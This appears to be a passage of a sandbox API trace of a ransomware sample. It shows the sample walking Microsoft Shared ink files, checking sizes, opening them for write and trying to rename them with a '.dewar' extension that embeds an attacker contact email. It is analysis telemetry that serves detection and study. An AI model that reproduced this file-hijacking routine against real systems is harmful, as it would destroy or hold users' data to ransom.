GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3072) returned 1 [0218.161] CloseHandle (hObject=0x1c8) returned 1 [0218.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui")) returned 0x20 [0218.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui")) returned 0x20 [0218.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.405] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=32768) returned 1 [0218.405] CloseHandle (hObject=0x1c8) returned 1 [0218.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0218.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0218.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.407] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1600388) returned 1 [0218.407] CloseHandle (hObject=0x1c8) returned 1 [0218.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0218.407] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0218.407] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0 [0218.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.408] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=927744) returned 1 [0218.408] CloseHandle (hObject=0x1c8) returned 1 [0218.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0218.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0218.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.676] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4096) returned 1 [0218.676] CloseHandle (hObject=0x1d8) returned 1 [0218.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0218.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0218.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.679] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=212) returned 1 [0218.679] CloseHandle (hObject=0x1d8) returned 1 [0218.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0218.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0218.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0219.685] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=384) returned 1 [0219.685] CloseHandle (hObject=0x164) returned 1 [0219.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0219.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0219.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0219.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0219.687] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=392) returned 1 [0219.687] CloseHandle (hObject=0x164) returned 1 [0219.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0219.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0219.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0219.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0219.690] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=727) returned 1 [0219.690] CloseHandle (hObject=0x164) returned 1 [0219.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0219.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0219.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0219.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0219.697] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3150) returned 1 [0219.697] CloseHandle (hObject=0x164) returned 1 [0219.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0219.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0219.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0219.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0219.699] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=247) returned 1 [0219.699] CloseHandle (hObject=0x164) returned 1 [0219.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0219.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0219.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0219.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0219.702] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3161) returned 1 [0219.702] CloseHandle (hObject=0x164) returned 1 [0219.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0219.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0219.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0219.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0219.704] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3166) returned 1 [0219.704] CloseHandle (hObject=0x164) returned 1 [0219.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0219.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0219.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0219.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0219.708] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=738) returned 1 [0219.708] CloseHandle (hObject=0x164) returned 1 [0219.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0219.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0219.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0219.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0219.709] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=804) returned 1 [0219.709] CloseHandle (hObject=0x164) returned 1 [0219.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0219.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0219.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0219.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0219.713] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=488) returned 1 [0219.713] CloseHandle (hObject=0x1dc) returned 1 [0219.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" 